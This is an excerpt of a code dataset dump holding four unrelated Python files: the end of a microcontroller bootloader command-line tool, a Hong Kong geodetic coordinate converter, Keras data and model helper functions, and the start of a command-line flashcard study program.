\"BUS, ADDRESS\" under linux. ')\n    parser.add_argument('--ftdi_index', type=check_int, help='When inserting multiple SPI, I2C devices with the same vid, pid,'\n        'its value should be the value of the device path/locate in the order in which they are arranged by the port.')\n\n    parser.add_argument('-t', '--timeout', type=int, help='Maximum wait time(Unit: s) for the change of the transceiver status in a single atomic operation, '\n        'it is only valid for the \"flash-erase-*\" command and only changes the timeout of the ack after sending the packet, '\n        'which is invalid for the timeout in read phase.')\n    # parser.add_argument('-d', '--debug', action='store_true', help='Debug level: 0-off, 1-info, 2-debug')\n    parser.add_argument('-d', '--debug', nargs='?', type=int, choices=range(0, 3), const=1, default=0, help='Debug level: 0-off, 1-info, 2-debug')\n    parser.add_argument('-o', '--origin', nargs=argparse.REMAINDER, help='MCU Boot Original Interface')\n    parser.add_argument('-h', '--help', action='help', default=argparse.SUPPRESS, help='Show this help message and exit.')\n    parser.add_argument('-v', '--version', action='version', version='%(prog)s {}'.format(__version__), help=\"Show program's version number and exit.\")\n    # requiredNamed = parser.add_argument_group('required named arguments')\n    # requiredNamed.add_argument('-info', action='store_true', help='Get MCU info (mboot properties)')\n\n    subparsers = parser.add_subparsers(title='MCU Boot User Interface', prog='mboot [options]')\n    \n    parser_info = subparsers.add_parser('info', help='Get MCU info (mboot properties)', formatter_class=MBootSubHelpFormatter, add_help=False)\n    parser_info.add_argument('memory_id', nargs='?', type=check_int, default=0, choices=(0, 0x1, 0x8, 0x9, 0x0a, 0x010, 0x100, 0x101, 0x110, 0x111, 0x120, 0x121), \n        help='External memory id, Display external memory information if it is already executed configure-memory', metavar='memory_id')\n    parser_info.add_argument('-e', '--exconf', nargs='*', type=check_int, help='Set external memory address and settings, '\n        'such as \"fill_config_address config_word1 [config_word2 [...]]\", only the first time you need to set')\n    parser_info.add_argument('-h', '--help', action='help', default=argparse.SUPPRESS, help='Show this help message and exit.')\n\n    parser_write = subparsers.add_parser('write', help='Write data into MCU memory', formatter_class=MBootSubHelpFormatter, add_help=False)\n    parser_write.add_argument('address', type=check_int, nargs='?', help='Start address, '\n        'the arg can be omitted if file end with \".srec\", \".s19\", \".hex\", \".ihex\" that contains the address')\n    parser_write.add_argument('filename', help='File to be written')\n    parser_write.add_argument('memory_id', nargs='?', type=check_int, default=0, choices=(0, 0x1, 0x8, 0x9, 0x0a, 0x010, 0x100, 0x101, 0x110, 0x111, 0x120, 0x121), \n        help='External memory id', metavar='memory_id')\n    parser_write.add_argument('-o', '--offset', type=check_int, default=0, help='File offset address')\n    parser_write.add_argument('--no_erase', action='store_true', help='Do not automatically erase before writing.')\n    parser_write.add_argument('-e', '--exconf', nargs='*', type=check_int, help='Set external memory address and settings, '\n        'such as \"fill_config_address config_word1 [config_word2 [...]]\", only the first time you need to set')\n    parser_write.add_argument('-h', '--help', action='help', default=argparse.SUPPRESS, help='Show this help message and exit.')\n\n    parser_read = subparsers.add_parser('read', help='Read data from MCU memory', formatter_class=MBootSubHelpFormatter, add_help=False)\n    parser_read.add_argument('address', type=check_int, help='Start address')\n    parser_read.add_argument('length', type=check_int, default=0x100, help='Read data length')\n    parser_read.add_argument('filename', nargs='?', help='File to be written')\n    parser_read.add_argument('memory_id', nargs='?', type=check_int, action=FixArgValue, check_arg='filename', default=0, \n        choices=(0, 0x1, 0x8, 0x9, 0x0a, 0x010, 0x100, 0x101, 0x110, 0x111, 0x120, 0x121), help='External memory id', metavar='memory_id')\n    parser_read.add_argument('-c', '--compress', action='store_true', help='Compress dump output.')\n    parser_read.add_argument('-e', '--exconf', nargs='*', type=check_int, help='Set external memory address and settings, '\n        'such as \"fill_config_address config_word1 [config_word2 [...]]\", only the first time you need to set')\n    parser_read.add_argument('-h', '--help', action='help', default=argparse.SUPPRESS, help='Show this help message and exit.')\n\n    parser_fill = subparsers.add_parser('fill', help='Fill MCU memory with specified pattern', formatter_class=MBootSubHelpFormatter, add_help=False)\n    parser_fill.add_argument('address', type=check_int, help='Start address')\n    parser_fill.add_argument('byte_count', type=check_int, help='Total length of padding, count of bytes')\n    parser_fill.add_argument('pattern', type=check_int, help='The pattern used for padding, (default: 0xFFFFFFFF)')\n    parser_fill.add_argument('unit', nargs='?', choices=['word', 'short', 'byte'], default='word', \n        help='Process pattern according to word, short(half-word), byte')\n    parser_fill.add_argument('--no_erase', action='store_true', help='Do not automatically erase before writing.')\n    parser_fill.add_argument('-h', '--help', action='help', default=argparse.SUPPRESS, help='Show this help message and exit.')\n\n    parser_erase = subparsers.add_parser('erase', help='Erase MCU memory', formatter_class=MBootSubHelpFormatter, add_help=False)\n    parser_erase.add_argument('address', nargs='?', type=check_int, help='Start address')\n    parser_erase.add_argument('length', nargs='?', type=check_int, default=0x100, help='Erase data length')\n    parser_erase.add_argument('memory_id', nargs='?', type=check_int, default=0, choices=(0, 0x1, 0x8, 0x9, 0x0a, 0x010, 0x100, 0x101, 0x110, 0x111, 0x120, 0x121), \n        help='External memory id', metavar='memory_id')\n    parser_erase.add_argument('-a', '--all', action='store_true', help='Erase complete MCU memory')\n    parser_erase.add_argument('-e', '--exconf', nargs='*', type=check_int, help='Set external memory address and settings, '\n        'such as \"fill_config_address config_word1 [config_word2 [...]]\", only the first time you need to set')\n    parser_erase.add_argument('-h', '--help', action='help', default=argparse.SUPPRESS, help='Show this help message and exit.')\n\n    parser_unlock = subparsers.add_parser('unlock', help='Unlock MCU', formatter_class=MBootSubHelpFormatter, add_help=False)\n    parser_unlock.add_argument('-k', '--key', type=check_key, help='Use backdoor key as ASCI = S:123...8 or HEX = X:010203...08')\n    parser_unlock.add_argument('-h', '--help', action='help', default=argparse.SUPPRESS, help='Show this help message and exit.')\n\n    parser_reset = subparsers.add_parser('reset', help='Reset MCU', formatter_class=MBootSubHelpFormatter, add_help=False)\n    parser_reset.add_argument('-h', '--help', action='help', default=argparse.SUPPRESS, help='Show this help message and exit.')\n\n    cmd = parse_args(parser, subparsers)\n    log_level = [logging.WARNING, logging.INFO, logging.DEBUG]\n    if cmd.origin and cmd.debug < 2:\n        cmd.debug += 1\n    logging.basicConfig(level=log_level[cmd.debug])\n\n    # print(cmd)\n\n    mb = mboot.McuBoot()\n    mb.cli_mode = True  # this is cli mode\n\n    # Added the feature to display the original interface help\n    if cmd.origin and ('-h' in cmd.origin or '--help' in cmd.origin):\n        attr = cmd.origin[0].replace('-', '_')\n        func = getattr(mb, attr, None)\n        if func:\n            print('\\n  '.join(line.strip() for line in func.__doc__.split('\\n ')))\n            sys.exit(0) # Normal exit\n        else:\n            raise McuBootGenericError('invalid command:{}'.format(cmd.origin[0]))\n\n    if cmd.usb is not None:\n        if cmd.select_device:\n            vid_pid = parse_peripheral(Interface.USB.name, cmd.usb, not cmd.select_device)[0]\n            mb.open_usb(vid_pid, cmd.select_device)\n        else:\n            config = parse_peripheral(Interface.USB.name, cmd.usb)[0]\n            mb.open_usb(config[0:2], config[-1])\n        # device = RawHID.enumerate(*vid_pid)[0]\n        # mb.open_usb(device)\n    elif cmd.uart is not None:\n        port, baudrate = parse_peripheral(Interface.UART.name, cmd.uart)\n        mb.open_uart(port, baudrate)\n    elif cmd.spi is not None:\n        if cmd.ftdi_index:\n            vid_pid, speed = parse_peripheral(Interface.SPI.name, cmd.spi, False)\n            mb.open_spi(vid_pid, cmd.ftdi_index, speed, 0)\n        else:\n            config, speed = parse_peripheral(Interface.SPI.name, cmd.spi)\n            vid_pid = config[0:2]\n            index = config[-1]\n            mb.open_spi(vid_pid, index, freq=speed, mode=0)\n    elif cmd.i2c is not None:\n        if cmd.ftdi_index:\n            vid_pid, speed = parse_peripheral(Interface.I2C.name, cmd.i2c, False)\n            mb.open_i2c(vid_pid, cmd.ftdi_index, speed)\n        else:\n            config, speed = parse_peripheral(Interface.I2C.name, cmd.i2c)\n            vid_pid = config[0:2]\n            index = config[-1]\n            mb.open_i2c(vid_pid, index, freq=speed)\n    else:\n        raise McuBootGenericError('You need to choose a peripheral for communication.')\n\n    # mb.get_memory_range()\n\n    if cmd.info:\n        args = cmd.info\n        if getattr(args, '_unrecognized_args', None):\n            raise McuBootGenericError('invalid arguments:{}'.format(args._unrecognized_args))\n        info(mb, args.memory_id, args.exconf)\n\n    if cmd.write:\n        args = cmd.write\n        if getattr(args, '_unrecognized_args', None):\n            raise McuBootGenericError('invalid arguments:{}'.format(args._unrecognized_args))\n        write(mb, args.address, args.filename, args.memory_id, args.offset, args.no_erase, args.exconf)\n        print(\" Write Successfully.\")\n\n    if cmd.read:\n        args = cmd.read\n        if getattr(args, '_unrecognized_args', None):\n            raise McuBootGenericError('invalid arguments:{}'.format(args._unrecognized_args))\n        read(mb, args.address, args.length, args.filename, args.memory_id, args.compress, args.exconf)\n\n    if cmd.fill:\n        args = cmd.fill\n        if getattr(args, '_unrecognized_args', None):\n            raise McuBootGenericError('invalid arguments:{}'.format(args._unrecognized_args))\n        fill(mb, args.address, args.byte_count, args.pattern, args.unit, args.no_erase)\n        print(\" Fill Successfully.\")\n\n    if cmd.erase:\n        args = cmd.erase\n        if getattr(args, '_unrecognized_args', None):\n            raise McuBootGenericError('invalid arguments:{}'.format(args._unrecognized_args))\n        if args.address is None and not args.all:\n            raise McuBootGenericError('If you do not use the full-chip erase mode, you must enter the erase address.')\n        erase(mb, args.address, args.length, args.memory_id, args.all, args.exconf)\n        print(\" Erase Successfully.\")\n\n    if cmd.unlock:\n        args = cmd.unlock\n        if getattr(args, '_unrecognized_args', None):\n            raise McuBootGenericError('invalid arguments:{}'.format(args._unrecognized_args))\n        unlock(mb, args.key)\n        print(\" Unlock Successfully.\")\n\n    if cmd.reset:\n        args = cmd.reset\n        if getattr(args, '_unrecognized_args', None):\n            raise McuBootGenericError('invalid arguments:{}'.format(args._unrecognized_args))\n        mb.reset()\n        print(' Reset Successfully.')\n\n    if cmd.origin:\n        mb.timeout = cmd.timeout or mb.timeout\n        attr = cmd.origin[0].replace('-', '_')\n        func = getattr(mb, attr, None)\n\n        if func:\n            cmd_args = cmd.origin[1:]\n            # if cmd_args[0].lower().startswith('-h'):    # cmd_args[0].lower() == '-h' or cmd_args[0].lower() == '--help':\n            #     print('\\n  '.join(line.strip() for line in func.__doc__.split('\\n ')))\n            if check_method_arg_number(func, len(cmd_args)):\n                if attr == 'flash_security_disable':\n                    args = cmd_args\n                else:\n                    args = convert_arg_to_int(cmd_args)\n                data = func(*args)\n                if attr == 'read_memory':\n                    print('\\n', hexdump(data, args[0], False))\n            else:\n                raise McuBootGenericError('invalid arguments:{}'.format(cmd_args))\n        else:\n            raise McuBootGenericError('invalid command:{}'.format(cmd.origin[0]))\n\n    mb.close()\n","sub_path":"mboot/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":31382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"654013445","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 31 21:50:47 2016\n\n@author: KITMAN\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nfrom scipy.optimize import fsolve\n\n#================================#\n# Fixed constants\n#================================#\n\nfix_parms = {'a': 6378388, \n             'f': 1 / 297,\n             'e_sq': 2 / 297 - (1 / 297)**2,\n             'm0': 1,\n             'E0': 836694.05,\n             'N0': 819069.80,\n             'lambda0': (114 + 10 / 60 + 42.80 / 3600) / 180 * np.pi,\n             'phi0': (22 + 18 / 60 + 43.68 / 3600) / 180 * np.pi}\n\n\n\n\n#================================#\n# Projection parameters\n#================================#\n\ndef get_proj_parms(phi = (22 + 18 / 60 + 43.68 / 3600) / 180 * np.pi): \n    a = fix_parms[\"a\"]\n    e_sq = fix_parms[\"e_sq\"]\n    upsilon = a / (1 - e_sq * np.sin(phi)**2)**(1 / 2)\n    rho = a * (1 - e_sq) / (1 - e_sq * np.sin(phi)**2)**(3 / 2)\n    psi = upsilon / rho\n    # Note that the values of rho and psi are different from the note,\n    # where upsilon = 6381480.500, rho = 6359840.760, psi = 1.003402560.\n    # This issue has been reported to the Geodetic Survey Section, Lands Department, Hong Kong\n    # and it is under investigation.\n    out = {'upsilon': upsilon,\n           'rho': rho,\n           'psi': psi}\n    return out\n\n\n\n\n#================================#\n# Meridian distance\n#================================#\n\ndef meridian_dist(phi, a = fix_parms[\"a\"], e_sq = fix_parms[\"e_sq\"]):\n    # Constants\n    A0 = 1 - e_sq / 4 - 3 * e_sq**2 / 64\n    A2 = 3 / 8 * (e_sq + e_sq**2 / 4)\n    A4 = 15 / 256 * e_sq**2\n    mdist = a * (A0 * phi - A2 * np.sin(2 * phi) + A4 * np.sin(4 * phi))\n    return mdist\n\n\n\n\n#================================#\n# Transformation function\n# Conversion between \n# 1. HK80G: HK 1980 Grid Coordinates, \n# 2. HK80:  HK 1980 Geodetic Coordinates\n# 3. WGS84: WGS84 Latitude and Longitude (ITRF96)\n# lng and lat are expressed in degree by default\n#================================#\n\n## HK80G to HK80\ndef hk80g_to_hk80(E, N, unit = \"d\"):\n    # Get all necessary parameters\n    lambda0 = fix_parms[\"lambda0\"]\n    phi0 = fix_parms[\"phi0\"]\n    E0 = fix_parms[\"E0\"]\n    N0 = fix_parms[\"N0\"]\n    m0 = fix_parms[\"m0\"]\n    M0 = meridian_dist(phi = phi0) # M0 = 2468395.723\n    f = lambda phi: (meridian_dist(phi) - (N - N0 + M0) / m0) # Find phi_p using eqt3 in Note\n    phi_p = np.asscalar(fsolve(f, 0))\n    proj_parms = get_proj_parms(phi_p)\n    upsilon = proj_parms[\"upsilon\"]\n    rho = proj_parms[\"rho\"]\n    psi = proj_parms[\"psi\"]\n    # Obtain lng and lat in HK80\n    lng = lambda0 + 1 / np.cos(phi_p) * (E - E0) / (m0 * upsilon) - 1 / np.cos(phi_p) * (E - E0)**3 / (6 * m0**3 * upsilon**3) * (psi + 2 * np.tan(phi_p)**2)\n    lat = phi_p - np.tan(phi_p) / (m0 * rho) * (E - E0)**2 / (2 * m0 * upsilon)\n    if (unit == \"d\"):\n        lng = lng * 180 / np.pi\n        lat = lat * 180 / np.pi\n    # Output\n    out = pd.Series({'lng': lng, 'lat': lat})[[\"lng\", \"lat\"]]\n    return out\n\n\ndef hk80_to_hk80g(lng, lat, unit = \"d\"):\n    if (unit == \"d\"):\n        lng = lng * np.pi / 180\n        lat = lat * np.pi / 180\n    lambda0 = fix_parms[\"lambda0\"]\n    phi0 = fix_parms[\"phi0\"]\n    E0 = fix_parms[\"E0\"]\n    N0 = fix_parms[\"N0\"]\n    m0 = fix_parms[\"m0\"]\n    M0 = meridian_dist(phi0) # M0 = 2468395.723\n    M = meridian_dist(lat)\n    proj_parms = get_proj_parms()\n    upsilon = proj_parms[\"upsilon\"]\n    psi = proj_parms[\"psi\"]\n    # Obtaint E, N coordinates\n    E = E0 + m0 * (upsilon * (lng - lambda0) * np.cos(lat) + upsilon * (lng - lambda0)**3 / 6 * (np.cos(lat))**3 * (psi - (np.tan(lat))**2))\n    N = N0 + m0 * ((M - M0 + upsilon * np.sin(lat) * (lng - lambda0)**2 / 2 * np.cos(lat)))\n    # Output\n    out = pd.Series({'E': E, 'N': N})[[\"E\", \"N\"]]\n    return out\n\n\n\n\n## WGS84 <-> HK80\ndef wgs84_to_hk80(lng, lat, unit = \"d\"):\n    if (unit == \"r\"):\n        lng = lng - 8.8 / 60**2 * np.pi / 180\n        lat = lat + 5.5 / 60**2 * np.pi / 180\n    elif (unit == \"d\"):\n        lng = lng - 8.8 / 60**2\n        lat = lat + 5.5 / 60**2\n    # Output\n    out = pd.Series({'lng': lng, 'lat': lat})[[\"lng\", \"lat\"]]\n    return out\n\n\ndef hk80_to_to_wgs84(lng, lat, unit = \"d\"):\n    if (unit == \"r\"):\n        lng = lng + 8.8 / 60**2 * np.pi / 180\n        lat = lat - 5.5 / 60**2 * np.pi / 180\n    elif (unit == \"d\"):\n        lng = lng + 8.8 / 60**2\n        lat = lat - 5.5 / 60**2\n    # Output\n    out = pd.Series({'lng': lng, 'lat': lat})[[\"lng\", \"lat\"]]\n    return out\n\n\n\n\n## WGS84 <-> HK80G (Through HK80)\ndef wgs84_to_hk80g(lng, lat, unit = \"d\"):\n    hk80_coords = wgs84_to_hk80(lng = lng, lat = lat, unit = unit)\n    out = hk80_to_hk80g(lng = hk80_coords[\"lng\"], lat = hk80_coords[\"lat\"], unit = unit)\n    return out\n\n\ndef hk80g_to_to_wgs84(E, N, unit = \"d\"):\n    hk80_coords = hk80g_to_hk80(E = E, N = N, unit = unit)\n    out = hk80_to_to_wgs84(lng = hk80_coords[\"lng\"], lat = hk80_coords[\"lat\"], unit = unit)\n    return out\n\n\n\n\n#================================#\n# Class Coordinates\n# x: Longitude/Easting, y: Latitude/Northing\n#================================#\nclass Coordinates(object):\n    def __init__(self, x, y, datum):\n        self.datum = datum.lower()\n        \n        try:\n            try:\n                xy = pd.DataFrame({'x': x, 'y': y})\n            except:\n                xy = pd.DataFrame({'x': [x], 'y': [y]})\n                \n            self.xy = xy\n        except:\n            None\n            #warnings.warn(\"Invalid input 'x' and 'y'!\")\n    \n    \n    def to_wgs84(self):\n        datum = self.datum\n        new_xy = self.xy.copy()\n        if datum == \"wgs84\":\n            new_xy = new_xy\n        elif datum == \"hk80\":\n            tran = lambda df: hk80_to_to_wgs84(df[\"x\"], df[\"y\"])\n            new_xy = new_xy.apply(tran, axis = 1)\n        elif datum == \"hk80g\":\n            tran = lambda df: hk80g_to_to_wgs84(df[\"x\"], df[\"y\"])\n            new_xy = new_xy.apply(tran, axis = 1)\n        else:\n            return None\n        new_xy.columns = [\"Longitude\", \"Latitude\"]\n        return new_xy\n    \n    \n    def to_hk80(self):\n        datum = self.datum\n        new_xy = self.xy.copy()\n        if datum == \"wgs84\":\n            tran = lambda df: wgs84_to_hk80(df[\"x\"], df[\"y\"])\n            new_xy = new_xy.apply(tran, axis = 1)\n        elif datum == \"hk80\":\n            new_xy = new_xy\n        elif datum == \"hk80g\":\n            tran = lambda df: hk80g_to_hk80(df[\"x\"], df[\"y\"])\n            new_xy = new_xy.apply(tran, axis = 1)\n        else:\n            return None\n        new_xy.columns = [\"Longitude\", \"Latitude\"]\n        return new_xy\n    \n    \n    def to_hk80g(self):\n        datum = self.datum\n        new_xy = self.xy.copy()\n        if datum == \"wgs84\":\n            tran = lambda df: wgs84_to_hk80g(df[\"x\"], df[\"y\"])\n            new_xy = new_xy.apply(tran, axis = 1)\n        elif datum == \"hk80\":\n            tran = lambda df: hk80_to_hk80g(df[\"x\"], df[\"y\"])\n            new_xy = new_xy.apply(tran, axis = 1)\n        elif datum == \"hk80g\":\n            new_xy = new_xy\n        else:\n            return None\n        new_xy.columns = [\"Easting\", \"Northing\"]\n        return new_xy\n        \n\n\n\n#================================#\n#Example\n#================================#\n#coords = Coordinates([836055, 832591.320], [832699, 820351.389], \"hk80g\")\n#coords.to_wgs84()\n#coords.to_hk80()\n#coords.to_hk80g()\n#\n#coords = [[836055, 832699], [832591.320, 820351.389]]\n#coords_df = pd.DataFrame(coords, columns = [\"E\", \"N\"])\n#\n#hk80g_to_hk80(836055, 832699)\n#hk80_to_hk80g(114+10/60+20.46/3600, 22+26/60+6.76/3600)\n#wgs84_to_hk80g(114.141187917, 22.322172084)\n#coords_df.apply(lambda x: hk80g_to_wgs84(x[\"E\"], x[\"N\"]), axis = 1)\n#================================#\n\n\n\n\n#================================#\n#Reference\n#================================#\n#https://www.geodetic.gov.hk/smo/gsi/data/pdf/explanatorynotes.pdf\n#https://www.geodetic.gov.hk/smo/gsi/data/pdf/explanatorynotes_c.pdf # (Traditional Chinese version)\n#https://www.geodetic.gov.hk/smo/gsi/data/parameter/SchematicDiagram.pdf\n#https://www.geodetic.gov.hk/smo/tform/tform.aspx\n#https://www.geodetic.gov.hk/smo/en/tform/tform.aspx\n#http://www.hydro.gov.hk/eng/datumnew.php\n#http://cs2cs.mygeodata.eu/\n#https://en.wikipedia.org/wiki/World_Geodetic_System\n#http://ailin.phychembio.com/miscellany/1387/\n#http://blog.tiger-workshop.com/hk1980-grid-to-wgs84/\n#================================#\n","sub_path":"Py/geodeticHK.py","file_name":"geodeticHK.py","file_ext":"py","file_size_in_byte":8350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"70473311","text":"import keras\nimport pandas as pd\nimport numpy as np\nfrom string import ascii_lowercase as alphabet\nfrom keras.utils import to_categorical\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.models import model_from_json\n\n\n\n\n#Load data \ndef loadData(dir):\n\tdata = pd.DataFrame(pd.read_csv(str(dir) + '.csv')).as_matrix()\n\tprint(\"Data Loaded\")\n\treturn(data)\n\ndef setupDictionary():\n\tOHs = to_categorical(np.arange(len(alphabet)))\n\tdictionary = {c:OH for c,OH in zip(alphabet,OHs)}\n\trev_dictionary = {i:c for i,c in enumerate(alphabet)}\n\treturn dictionary, rev_dictionary\n\ndef dataToWords(data):\n\twordsY = []\n\twordsX = []\n\twordY = ''\n\twordX = []\n\tix = 0\n\tmax_ix = data.shape[0]\n\twhile ix < max_ix:\n\t\tif data[ix,2] == -1:\n\t\t\twordY+=data[ix,1]\n\t\t\twordX.append(data[ix,4:].reshape(16,8,1))\n\t\t\twordsY.append(wordY)\n\t\t\twordsX.append(np.asarray(wordX))\n\t\t\twordY = ''\n\t\t\twordX = []\n\t\telse:\n\t\t\twordY+=data[ix,1]\n\t\t\twordX.append(data[ix,4:].reshape(16,8,1))\n\t\tix+=1\n\twordsX = np.asarray(wordsX)\n\twordsY = np.array(wordsY)\n\treturn wordsX,wordsY\n\n\ndef seqData(seq_length,wordsX, wordsY, dictionary, test = False):\n\t#max_len = np.max([len(word) for word in wordsY])\n\tdataX = []\n\tdataY = []\n\tfor word_idx in range(wordsX.shape[0]):\n\t\tfor i in range(0, wordsX[word_idx].shape[0]- seq_length +1, 1):\n\t\t\tseq_in = wordsX[word_idx][i:i + seq_length]\n\t\t\tseq_out = wordsY[word_idx][i:i + seq_length]\n\t\t\tdataX.append(seq_in)\n\t\t\tdataY.append(seq_out)\n\tdataX = np.asarray(dataX)\n\tX_seq = pad_sequences(dataX, maxlen = seq_length, dtype = 'float32')\n\tY_seq = np.array([np.array([dictionary[c] for c in w]) for w in dataY])\n\tY_seq = pad_sequences(Y_seq, maxlen = seq_length, dtype = 'float32')\n\tY_seq = np.reshape(Y_seq, (len(Y_seq), seq_length,Y_seq.shape[2]))\n\tX_seq = np.reshape(X_seq, (len(X_seq), seq_length,X_seq.shape[2],X_seq.shape[3],X_seq.shape[4]))\n\treturn X_seq,Y_seq\n\ndef len_indexes(words, length):\n\tlen_index = []\n\tfor i in range(len(words)):\n\t\tif len(words[i]) == length:\n\t\t\tlen_index.append(i)\n\treturn np.array(len_index)\n\ndef save_model(model, Net, version = 1, l = 0):\n\t# serialize model to JSON\n\tmodel_json = model.to_json()\n\twith open(\"model_\"+ Net +\"v\"+ str(version) + \"_\"+ str(l) + \".json\", \"w\") as json_file:\n\t    json_file.write(model_json)\n\t# serialize weights to HDF5\n\tmodel.save_weights(\"model_\"+ Net +\"v\"+ str(version) + \"_\"+str(l)+\".h5\")\n\tprint(\"Saved model to disk: \" + \"model_\"+ Net +\"v\"+ str(version) + \"_\"+ str(l))\n\ndef load_model(Net, version = 0, l = 0):\n\t# load json and create model\n\tjson_file = open(\"model_\"+ Net +\"v\"+ str(version) + \"_\"+ str(l) + \".json\", 'r')\n\tloaded_model_json = json_file.read()\n\tjson_file.close()\n\tloaded_model = model_from_json(loaded_model_json)\n\t# load weights into new model\n\tloaded_model.load_weights(\"model_\"+ Net +\"v\"+ str(version) + \"_\"+str(l)+\".h5\")\n\tprint(\"Loaded model from disk: \" + \"model\"+ Net +\"v\"+ str(version) + \"_\"+str(l))\n\treturn loaded_model\n\n\n","sub_path":"HelperFunctions.py","file_name":"HelperFunctions.py","file_ext":"py","file_size_in_byte":2912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"547092245","text":"# LTAT.03.001 - Introduction to Computer Programming @ Tartu Univesity - Project\n# 11/2018\n# This file implements the program functionality on command line.\n\nimport flashcardclasses as fc\ndeck_arr = [] # list of decks to be loaded in\n\n####################################################\n\ndef load_data(filename = \"data.txt\", arr = deck_arr):\n    # in: str, list\n    # out: None\n    # Loads the data from filename.\n    file = open(filename, mode=\"r\", encoding=\"UTF-8\")\n    data_iter = 0  # card data iterator\n    data_list = [] # card data itself\n    \n    for line in file:\n        if line[0] == '\\t': # if flashcard data...\n            data_iter += 1\n        line = line.strip()\n        if data_iter != 0: # subpar\n            if data_iter < 3: # first two - strings\n                data_list.append(line)\n            elif data_iter < 4: # ease\n                data_list.append(float(line))\n            elif data_iter < 5: # streak\n                data_list.append(int(line))\n            elif data_iter == 5: # due\n                data_list.append(fc.dt.datetime.fromtimestamp(float(line)))\n                # adding cards to latest deck...\n                arr[-1].load_card(fc.Flashcard(data_list[0],data_list[1],data_list[2],data_list[3],data_list[4]))\n                data_list = [] # reset data list and iterator for new data\n                data_iter = 0\n        else: # if not data, add new deck to list.\n            arr.append(fc.Deck(line))\n    file.close()\n    \ndef save_data(filename = \"data.txt\", arr = deck_arr):\n    # in: str, list\n    # out: None\n    # Saves the current state decks and cards into filename.\n    file = open(filename, mode=\"w\", encoding=\"UTF-8\")\n    for deck in deck_arr:\n        file.write(deck.get_title() + '\\n')\n        for card in deck:\n            data = card.get_all_data()\n            data[-1] = data[-1].timestamp() # unix timestamp\n            for elem in data:\n                file.write('\\t' + str(elem) + '\\n')            \n    file.close()\n\ndef print_all_cards(reload = 0, arr = deck_arr):\n    # in: int, list\n    # prints all cards we have loaded\n    if reload: # if reload is true, we'll load data in again.\n        load_data()\n    for deck in arr:\n        print(\"Deck name: \" + deck.get_title())\n        for card in deck:\n            print('\\t' + str(card))\n\n####################################################\n# Try to load the data.\ntry:\n    load_data()\nexcept FileNotFoundError:\n    save_data() # creates file should it not exist\n\n####################################################\n# Command line interface.\ndef main_screen():\n    opt = {0: \"q\", 1: decks_screen, 2: study_screen}\n    txt = [\"Quit\", \"Decks\", \"Study\"]\n\n    for i in range(len(opt)):\n        print(\"{}: {}\".format(str(i), txt[i]))\n\n    n = int(input(\"Option: \"))\n    return opt[n]\n\ndef decks_screen(arr = deck_arr):\n    opt = {0:\"q\", 1: main_screen, 2: new_deck, 3: delete_deck, 4: edit_deck}\n    txt = [\"Quit\", \"Home\", \"New deck\", \"Delete deck\", \"Edit deck\"]\n\n    print(\"Your decks are currently as follows: \")\n    for i in range(len(arr)):\n        print(\"{}: {}, due: {}\".format(str(i), arr[i].get_title(), arr[i].count_due()))\n    \n    for i in range(len(opt)):\n        print(\"{}: {}\".format(str(i), txt[i]))\n    n = int(input(\"Option: \"))\n    return opt[n]\n\ndef new_deck(arr = deck_arr):\n    title = input(\"Enter a title for your new deck: \")\n    arr.append(fc.Deck(title))\n    return decks_screen\n\ndef delete_deck(arr = deck_arr):\n    n = int(input(\"Enter the number of the deck you wish to delete: \"))\n    del arr[n]\n    return decks_screen\n\ndef edit_deck(arr = deck_arr):\n    def new_card(deck):\n        front = input(\"Enter front side of card: \")\n        back =  input(\"Enter back side of card: \")\n        deck.add_card(front, back)\n    def delete_card(deck):\n        n = int(input(\"Enter the number of the card you wish to delete: \"))\n        deck.remove_card_i(deck, n)\n    def edit_card(deck):\n        n = int(input(\"Enter the number of the card you wish to edit: \"))\n        print(\"Current card data: {}\".format(deck.get_card(n)))\n\n        active_card = deck.get_card(n)\n\n        change_front_choice = input(\"Do you wish to change the front of the card? y/n: \")\n        while change_front_choice.lower() != \"y\" and change_front_choice.lower() != \"n\":\n            change_front_choice = input(\"Invalid input. Change the front of the card? y/n: \")\n        if change_front_choice.lower() == \"y\":\n            new_front = input(\"Enter the new front side of the card: \")\n            active_card.set_front(new_front)\n\n        change_back_choice = input(\"Do you wish to change the back of the card? y/n: \")\n        while change_back_choice.lower() != \"y\" and change_back_choice.lower() != \"n\":\n            change_back_choice = input(\"Invalid input. Change the back of the card? y/n: \")\n        if change_back_choice.lower() == \"y\":\n            new_back = input(\"Enter the new back side of the card: \")\n            active_card.set_back(new_back)\n\n        reset_data_choice = input(\"Do you wish to reset the data of the card? y/n: \")\n        while reset_data_choice.lower() != \"y\" and reset_data_choice.lower() != \"n\":\n            reset_data_choice = input(\"Invalid input. Reset the data of the card? y/n: \")\n        if reset_data_choice.lower() == \"y\":\n            active_card.card_reset()\n        deck.replace_card(n, active_card)\n\n    deck_n = int(input(\"Enter the number of the deck you wish to edit: \"))\n    active_deck = arr[deck_n]\n    \n    print_cards = input(\"Print all cards? y/n: \")\n    while print_cards.lower() != \"y\" and print_cards.lower() != \"n\":\n        print_cards = input(\"Invalid input. Print all cards? y/n: \")\n    if print_cards.lower() == \"y\":\n        for i in range(len(active_deck)):\n            active_card = active_deck.get_card(i)\n            front = active_card.get_front()\n            back  = active_card.get_back()\n            print(\"{}: Front: {}, Back: {}\".format(str(i), front, back))\n    \n    opt = {0:\"\", 1: main_screen, 2: new_card, 3: delete_card, 4: edit_card}\n    txt = [\"Back to decks\", \"Home\", \"New card\", \"Delete card\", \"Edit card\"]\n\n    for i in range(len(opt)):\n        print(\"{}: {}\".format(str(i), txt[i]))\n    n = int(input(\"Option: \"))\n    while n != 0:\n        if n == 2 or n == 3 or n == 4:\n            opt[n](arr[deck_n])\n            n = int(input(\"Option: \"))\n        if n == 1:\n            return opt[n]\n    return decks_screen\n\ndef study_screen(arr=deck_arr):\n    print(\"Your decks are currently as follows: \")\n    for i in range(len(arr)):\n        print(\"{}: {}, due: {}\".format(str(i), arr[i].get_title(), arr[i].count_due()))\n    n = int(input(\"Enter the number of the deck you wish to study with or -1 to cancel: \"))\n    if n == -1:\n        return main_screen\n    